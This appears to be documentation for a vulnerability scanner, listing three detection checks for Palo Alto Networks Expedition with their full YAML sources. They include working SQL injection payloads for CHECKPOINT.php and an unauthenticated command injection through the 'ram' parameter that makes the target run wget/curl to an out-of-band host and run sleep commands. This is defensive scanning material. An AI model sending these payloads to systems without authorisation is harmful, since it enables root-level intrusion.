Expedition — 3 vulnerability checks
noctis ships 3 vulnerability checks for Expedition, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Palo Alto Networks Expedition Unauthenticated Admin Password Reset (CVE-2024-5910) — version check
| CVE | CVE-2024-5910 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 70 · needs scan credentials |
| Feed | tests/vulnerabilities/expedition/CVE-2024-5910.yaml |
Authenticated version check for the missing authentication on the admin password reset script of Palo Alto Networks Expedition before 1.2.92, which lets anyone reset the admin account to its default password. The reset script itself is never requested, because requesting it performs the reset. The feed logs in to the Expedition web interface with the credentials supplied in the scan request, reads the installed Expedition version from the settings API, and reports when it is older than 1.2.92.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /bin/Auth.phpwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /bin/MTSettings/settings.php?param=versions - Parses / computes the next value with a Rhai script
- Checks
ver.bodyfor"Expedition"→ finding QoD 70: Palo Alto Networks Expedition … (read from /bin/MTSettings/settings.php?param=versions after login) is older than 1.2.92: /OS/startup/resto…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-5910
- https://security.paloaltonetworks.com/CVE-2024-5910
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/paloalto_expedition_rce.rb
- https://horizon3.ai/attack-research/disclosures/palo-alto-expedition-from-n-day-to-full-compromise/
Feed source — tests/vulnerabilities/expedition/CVE-2024-5910.yaml
# Palo Alto Networks Expedition < 1.2.92 — missing authentication on
# /OS/startup/restore/restoreAdmin.php (CVE-2024-5910).
#
# On a vulnerable Expedition, an unauthenticated request to restoreAdmin.php
# IS the exploit: the script resets the `admin` account's password to the
# default ("Admin user found … Admin password restored to: 'paloalto'"), so
# anyone can then log in as admin. The previous version of this feed sent that
# request and reported on the reply — every scan of a vulnerable host reset the
# customer's admin password (#2402). Fixed builds answer 403.
#
# No non-destructive proof is known: the script takes no parameter that makes
# it exit before the reset, and PHP runs it in full for any method (HEAD
# included). Expedition does not expose its version without a session either
# (the web UI reads it from bin/MTSettings/settings.php?param=versions after
# login). So this feed never requests restoreAdmin.php and falls back to an
# authenticated version check, the same check the Metasploit module
# exploit/linux/http/paloalto_expedition_rce performs when it is given
# credentials:
# 1. POST /bin/Auth.php action=get&type=login_users&user=…&password=… —
# answers JSON with `csrfToken` and sets the PHP session cookie;
# 2. GET /bin/MTSettings/settings.php?param=versions with that cookie and a
# `Csrftoken` header — answers JSON {"msg": {"Expedition": "1.2.91", …}};
# 3. report (QoD 70) when the version is below 1.2.92.
# The operator's credentials are percent-encoded by a script step before they
# go in the login body, so `&`, `+`, `%` or `=` in a password do not break it.
# Without credentials the feed does not run (requires_credentials).
uid: 1de41989-3353-491a-ad4e-3da599ba512d
name: "Palo Alto Networks Expedition Unauthenticated Admin Password Reset (CVE-2024-5910) — version check"
description: |
Authenticated version check for the missing authentication on the admin
password reset script of Palo Alto Networks Expedition before 1.2.92, which
lets anyone reset the admin account to its default password. The reset
script itself is never requested, because requesting it performs the reset.
The feed logs in to the Expedition web interface with the credentials
supplied in the scan request, reads the installed Expedition version from
the settings API, and reports when it is older than 1.2.92.
cves: [CVE-2024-5910]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
requires_credentials: true
tags: [auth-bypass, account-takeover, paloalto, expedition, kev, authenticated, version-check]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-5910"
- "https://security.paloaltonetworks.com/CVE-2024-5910"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/paloalto_expedition_rce.rb"
- "https://horizon3.ai/attack-research/disclosures/palo-alto-expedition-from-n-day-to-full-compromise/"
steps:
# Percent-encode the operator's credentials for the form body.
- id: encode-credentials
action: script
code: |
let enc = |s| {
let out = "";
for c in s.chars() {
let n = c.to_int();
if (n >= 48 && n <= 57) || (n >= 65 && n <= 90) || (n >= 97 && n <= 122) || c == '-' || c == '_' || c == '.' || c == '~' {
out += c;
} else if n < 128 {
let h = n.to_hex().to_upper();
if h.len() < 2 { h = "0" + h; }
out += "%" + h;
} else {
out += c;
}
}
out
};
let p = if is_def_var("cred_password") { cred_password } else { "" };
#{ user: enc.call(cred_username), pass: enc.call(p) }
store_as: form
- id: init-login
action: set_var
var_name: login
var_value: {status: 0, body: "", headers: {}}
- id: init-ver
action: set_var
var_name: ver
var_value: {status: 0, body: ""}
- id: login
action: http_request
method: POST
path: /bin/Auth.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: application/x-www-form-urlencoded
body: "action=get&type=login_users&user={{form.user}}&password={{form.pass}}"
store_as: login
# CSRF token from the JSON body, session cookie from Set-Cookie. The engine
# keeps only the last Set-Cookie header; the session cookie is expected to be
# the only one Auth.php sets (not confirmed on a real box — if another cookie
# came last, the version read fails: a missed detection, never a FP).
- id: extract-session
action: script
code: |
let tok = "";
let cookie = "";
if type_of(login) == "map" && "body" in login && type_of(login.body) == "string" {
let m = eregmatch("\"csrfToken\"\\s*:\\s*\"([^\"]+)\"", login.body);
if m.len() >= 2 { tok = m[1]; }
}
if type_of(login) == "map" && "headers" in login && "set-cookie" in login.headers {
let m = eregmatch("([A-Za-z0-9_]+=[^;\\s]+)", login.headers["set-cookie"]);
if m.len() >= 2 { cookie = m[1]; }
}
#{ token: tok, cookie: cookie }
store_as: session
- id: read-version
action: http_request
method: GET
path: "/bin/MTSettings/settings.php?param=versions"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "session.token != \"\" && session.cookie != \"\""
headers:
Cookie: "{{session.cookie}}"
Csrftoken: "{{session.token}}"
store_as: ver
- id: version-gate
action: script
code: |
let v = "";
let vulnerable = false;
if ver.status == 200 && type_of(ver.body) == "string" {
let m = eregmatch("\"Expedition\"\\s*:\\s*\"([0-9]+)\\.([0-9]+)\\.([0-9]+)", ver.body);
if m.len() >= 4 {
v = m[1] + "." + m[2] + "." + m[3];
let n = int(m[1]) * 1000000 + int(m[2]) * 1000 + int(m[3]);
vulnerable = n < 1002092;
}
}
#{ version: v, vulnerable: vulnerable }
store_as: gate
- id: report
action: match
source: ver.body
pattern: "\"Expedition\""
condition: "gate.vulnerable == true"
on_match:
finding:
confidence_delta: 0.45
qod: 70
evidence: "Palo Alto Networks Expedition {{gate.version}} (read from /bin/MTSettings/settings.php?param=versions after login) is older than 1.2.92: /OS/startup/restore/restoreAdmin.php resets the admin password without authentication (CVE-2024-5910). The reset script was not requested."
stop: truePalo Alto Networks Expedition Unauthenticated SQL Injection via CHECKPOINT.php
| CVE | CVE-2024-9465 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/expedition/CVE-2024-9465.yaml |
Detects the unauthenticated SQL injection in Palo Alto Networks Expedition before 1.2.96. The feed first asks CHECKPOINT.php for the existing rule bases (action=get), which identifies the endpoint, then sends the signatureid parameter of the import action three times: with SLEEP(0) as a control, then SLEEP(6) and SLEEP(3) inside an always-false condition that matches no row. It reports only when each delay falls in its own time window above the control, so the reply time tracks the injected argument.
How noctis detects it
- HTTP(S) request
POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.phpwith a crafted body - HTTP(S) request
POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.phpwith a crafted body - HTTP(S) request
POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.phpwith a crafted body - HTTP(S) request
POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.phpwith a crafted body - Checks
slow3.bodyfor[\s\S]*→ finding QoD 75: Expedition CHECKPOINT.php signatureid time-based SQL injection: SLEEP(0) control answered in … ms, SLEEP(6) in … ms and SLEEP(3) in … ms (d…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-9465
- https://security.paloaltonetworks.com/PAN-SA-2024-0010
- https://github.com/horizon3ai/CVE-2024-9465
- https://horizon3.ai/attack-research/disclosures/palo-alto-expedition-from-n-day-to-full-compromise/
Feed source — tests/vulnerabilities/expedition/CVE-2024-9465.yaml
# Palo Alto Networks Expedition < 1.2.96 — unauthenticated SQL injection in
# /bin/configurations/parsers/Checkpoint/CHECKPOINT.php (CVE-2024-9465,
# PAN-SA-2024-0010).
#
# CHECKPOINT.php is reachable without a session. Its `action=import` branch
# formats the `signatureid` parameter, unquoted, into a SQL statement on the
# policies_to_import_Checkpoint table of the `project` database. That table
# does not exist on a fresh install: `action=get&type=existing_ruleBases`
# creates it (empty) and answers JSON with `ruleBasesNames` — the same request
# the Checkpoint import page sends, and the reference PoC's first step.
#
# The previous version of this feed (#2402) reported on one `SLEEP(6)` reply
# >= 6 s with no control, and its payload `1 AND (SELECT 1234 FROM
# (SELECT(SLEEP(6)))test)` is TRUE for row id 1, so on a populated project the
# import ran on that row. Here:
# - payload `0 OR (SELECT * FROM (SELECT(SLEEP(n)))x)`: the derived table
# sleeps exactly once whatever the row count (a bare per-row SLEEP misses
# the empty table, and a PK lookup on a missing id can skip it), and
# SLEEP returns 0, so the WHERE matches no row and nothing is imported;
# - same-shape control with SLEEP(0) must answer in < 3 s;
# - SLEEP(6) within control + [5 s, 9 s), then SLEEP(3) within
# control + [2.5 s, 4.5 s), at least 2 s apart — a server that is slow on
# every request, or tarpits every request carrying SLEEP by the same
# amount (WAF/IPS), cannot satisfy both windows.
# The derived-table form was measured on MariaDB 10.11 to sleep once with zero
# or many rows (other noctis timing feeds use it). Any status is accepted on
# the timed replies (the import may fail after the query with zero matched
# rows). What the probe leaves behind: the `get` step creates the empty
# policies_to_import_Checkpoint table in pandbRBAC if it is missing — the same
# request and project as the public PoC; without that table the import query
# fails before any SLEEP runs. No row is written.
uid: 30de73da-1847-4674-818e-3b6eb93a7e79
name: "Palo Alto Networks Expedition Unauthenticated SQL Injection via CHECKPOINT.php (CVE-2024-9465)"
description: |
Detects the unauthenticated SQL injection in Palo Alto Networks Expedition
before 1.2.96. The feed first asks CHECKPOINT.php for the existing rule
bases (action=get), which identifies the endpoint, then sends the
signatureid parameter of the import action three times: with SLEEP(0) as a
control, then SLEEP(6) and SLEEP(3) inside an always-false condition that
matches no row. It reports only when each delay falls in its own time
window above the control, so the reply time tracks the injected argument.
cves: [CVE-2024-9465]
cvss: 9.1
severity: critical
category: sqli
confidence_base: 0.30
tags: [paloalto, expedition, sqli, time-based, unauthenticated, kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-9465"
- "https://security.paloaltonetworks.com/PAN-SA-2024-0010"
- "https://github.com/horizon3ai/CVE-2024-9465"
- "https://horizon3.ai/attack-research/disclosures/palo-alto-expedition-from-n-day-to-full-compromise/"
steps:
# Pre-initialise every stored result read in a condition below.
- id: init-fp
action: set_var
var_name: fp_resp
var_value: {status: 0, body: ""}
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow6
action: set_var
var_name: slow6
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow3
action: set_var
var_name: slow3
var_value: {status: 0, body: "", duration_ms: 0}
# Identifies the endpoint and creates the (empty) import table in pandbRBAC
# if missing — without it the import query fails before any SLEEP runs.
- id: fingerprint
action: http_request
method: POST
path: /bin/configurations/parsers/Checkpoint/CHECKPOINT.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
headers:
Content-Type: application/x-www-form-urlencoded
body: "action=get&type=existing_ruleBases&project=pandbRBAC"
store_as: fp_resp
# Same shape as the probes, SLEEP(0).
- id: control
action: http_request
method: POST
path: /bin/configurations/parsers/Checkpoint/CHECKPOINT.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "fp_resp.status == 200 && stridx(fp_resp.body, \"ruleBasesNames\") >= 0"
headers:
Content-Type: application/x-www-form-urlencoded
body: "action=import&type=test&project=pandbRBAC&signatureid=0%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP(0)))x)"
store_as: ctrl
- id: sqli-sleep6
action: http_request
method: POST
path: /bin/configurations/parsers/Checkpoint/CHECKPOINT.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "ctrl.status > 0 && ctrl.duration_ms < 3000"
headers:
Content-Type: application/x-www-form-urlencoded
body: "action=import&type=test&project=pandbRBAC&signatureid=0%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP(6)))x)"
store_as: slow6
- id: sqli-sleep3
action: http_request
method: POST
path: /bin/configurations/parsers/Checkpoint/CHECKPOINT.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "ctrl.status > 0 && ctrl.duration_ms < 3000 && slow6.status > 0 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000"
headers:
Content-Type: application/x-www-form-urlencoded
body: "action=import&type=test&project=pandbRBAC&signatureid=0%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP(3)))x)"
store_as: slow3
- id: confirm-sqli
action: match
source: slow3.body
pattern: "[\\s\\S]*"
condition: "ctrl.status > 0 && ctrl.duration_ms < 3000 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000 && slow3.status > 0 && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow3.duration_ms < ctrl.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Expedition CHECKPOINT.php signatureid time-based SQL injection: SLEEP(0) control answered in {{ctrl.duration_ms}} ms, SLEEP(6) in {{slow6.duration_ms}} ms and SLEEP(3) in {{slow3.duration_ms}} ms (delay tracks the injected argument)"
stop: truePalo Alto Networks Expedition convertCSVtoParquet.php OS Command Injection
| CVE | CVE-2024-9463 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, wait_oob, match · highest QoD 97 |
| Feed | tests/vulnerabilities/expedition/CVE-2024-9463.yaml |
Detects the unauthenticated OS command injection in Palo Alto Networks Expedition before 1.2.96: the ram parameter of /API/convertCSVtoParquet.php is placed in a shell command line, so backticks in it run a command as root. After a plain request to the endpoint answers 200, the feed injects benign commands and reports only on proof of execution: an out-of-band HTTP callback whose URL only a shell can rebuild, or a reply delay that tracks an injected sleep 6 and sleep 3 in separate time windows. The PHP notice the endpoint prints for its missing taskID parameter is used only as a product gate for the timing check, never as a proof.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /API/convertCSVtoParquet.phpwith a crafted body - HTTP(S) request
POST /API/convertCSVtoParquet.phpwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Expedition command injection confirmed via /API/convertCSVtoParquet.php ram: a shell collapsed the $()-split OOB token inside the injected …
- HTTP(S) request
POST /API/convertCSVtoParquet.phpwith a crafted body - HTTP(S) request
POST /API/convertCSVtoParquet.phpwith a crafted body - Checks
slow3.bodyfor[\s\S]*→ finding QoD 75: Expedition command injection confirmed by timing via /API/convertCSVtoParquet.php ram: control answered in … ms, injected `sleep 6` in … ms…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-9463
- https://security.paloaltonetworks.com/PAN-SA-2024-0010
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-9463.yaml
Feed source — tests/vulnerabilities/expedition/CVE-2024-9463.yaml
# Palo Alto Networks Expedition < 1.2.96 — /API/convertCSVtoParquet.php `ram`
# OS command injection, unauthenticated (CVE-2024-9463, PAN-SA-2024-0010).
#
# The `ram` POST parameter is pasted into a shell command line, so backticks
# (or $()) in it run a command as root. The script then reads $_POST['taskID'],
# which an attacker does not send: with display_errors on, the reply carries
# "Undefined index: taskID" whatever `ram` holds — the notice only shows that
# the script ran, not that anything was injected (it also shows on a fixed
# release that still serves the endpoint). The previous version of this feed
# reported QoD 75 on that notice alone (#2402).
#
# Detection here — the notice is only a gate, the proofs depend on execution:
# 0. Control: `ram=noctis` (nothing injected) must answer 200. Its body is
# the product gate for the timing branch (the taskID notice).
# 1. OOB callback (QoD 97, OOB configured): `ram=noctis`wget …||curl …``
# fetching the per-run OOB URL. The token is split by an empty $() so
# only a shell rebuilds the callback path (a proxy/IDS that fetches URLs
# it sees in request bodies cannot). Same shape as the reference
# template's interactsh check (`curl {{interactsh-url}}` in backticks).
# 2. Time differential (QoD 75, when 1 did not fire): only when the control
# reply carries the taskID notice. The control must answer in < 3 s,
# `sleep 6` within control + [5 s, 9 s) and `sleep 3` within
# control + [2.5 s, 4.5 s), at least 2 s apart — long delay first, then
# short. A server slow on every request, or that tarpits every request
# carrying a backtick by the same amount (WAF/IPS), cannot satisfy both
# windows. A build that runs the command in the background shows no delay
# (FN, never FP) — the OOB branch covers it.
#
# Nothing is written or persisted: the injected commands are `sleep N` and a
# bounded wget/curl to the scanner's own OOB listener. The vendor command that
# follows fails on the missing taskID as it does on any request without it.
uid: e9f3b7c2-4d1a-4082-a6e8-0c5b1f9d3a7e
name: "Palo Alto Networks Expedition convertCSVtoParquet.php OS Command Injection (CVE-2024-9463)"
description: |
Detects the unauthenticated OS command injection in Palo Alto Networks
Expedition before 1.2.96: the ram parameter of /API/convertCSVtoParquet.php
is placed in a shell command line, so backticks in it run a command as root.
After a plain request to the endpoint answers 200, the feed injects benign
commands and reports only on proof of execution: an out-of-band HTTP
callback whose URL only a shell can rebuild, or a reply delay that tracks an
injected sleep 6 and sleep 3 in separate time windows. The PHP notice the
endpoint prints for its missing taskID parameter is used only as a product
gate for the timing check, never as a proof.
cves: [CVE-2024-9463]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [paloalto, expedition, rce, command-injection, unauthenticated, kev, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-9463"
- "https://security.paloaltonetworks.com/PAN-SA-2024-0010"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-9463.yaml"
steps:
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
# Pre-initialise every stored result read in a condition below.
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow6
action: set_var
var_name: slow6
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow3
action: set_var
var_name: slow3
var_value: {status: 0, body: "", duration_ms: 0}
# ── 0. Control: nothing injected ────────────────────────────────────────
- id: control
action: http_request
method: POST
path: /API/convertCSVtoParquet.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "ram=noctis"
store_as: ctrl
# ── 1. OOB callback ─────────────────────────────────────────────────────
# %60 = ` %24%28%29 = $() %7C = | + = space
- id: inject-oob
action: http_request
method: POST
path: /API/convertCSVtoParquet.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "oob_enabled && ctrl.status == 200"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "ram=noctis%60wget+-q+-T+5+-t+1+-O+/dev/null+http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%7C%7Ccurl+-s+-m+5+-o+/dev/null+http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%60"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && ctrl.status == 200"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Expedition command injection confirmed via /API/convertCSVtoParquet.php ram: a shell collapsed the $()-split OOB token inside the injected backticks and wget/curl fetched the per-run OOB URL (HTTP callback received)"
stop: true
# ── 2. Time differential ────────────────────────────────────────────────
# Gate: the control reply is this endpoint's own notice for the missing
# taskID parameter (PHP 7 "Undefined index", PHP 8 "Undefined array key"),
# so a catch-all server is never timed.
- id: inject-sleep6
action: http_request
method: POST
path: /API/convertCSVtoParquet.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && ereg(\"Undefined (index: taskID|array key .taskID.)\", ctrl.body)"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "ram=noctis%60sleep+6%60"
store_as: slow6
- id: inject-sleep3
action: http_request
method: POST
path: /API/convertCSVtoParquet.php
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "ctrl.status == 200 && slow6.status == 200 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "ram=noctis%60sleep+3%60"
store_as: slow3
- id: confirm-timing
action: match
source: slow3.body
pattern: "[\\s\\S]*"
condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000 && slow3.status == 200 && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow3.duration_ms < ctrl.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
on_match:
finding:
confidence_delta: 0.62
qod: 75
evidence: "Expedition command injection confirmed by timing via /API/convertCSVtoParquet.php ram: control answered in {{ctrl.duration_ms}} ms, injected `sleep 6` in {{slow6.duration_ms}} ms and `sleep 3` in {{slow3.duration_ms}} ms (delay tracks the injected argument)"
stop: true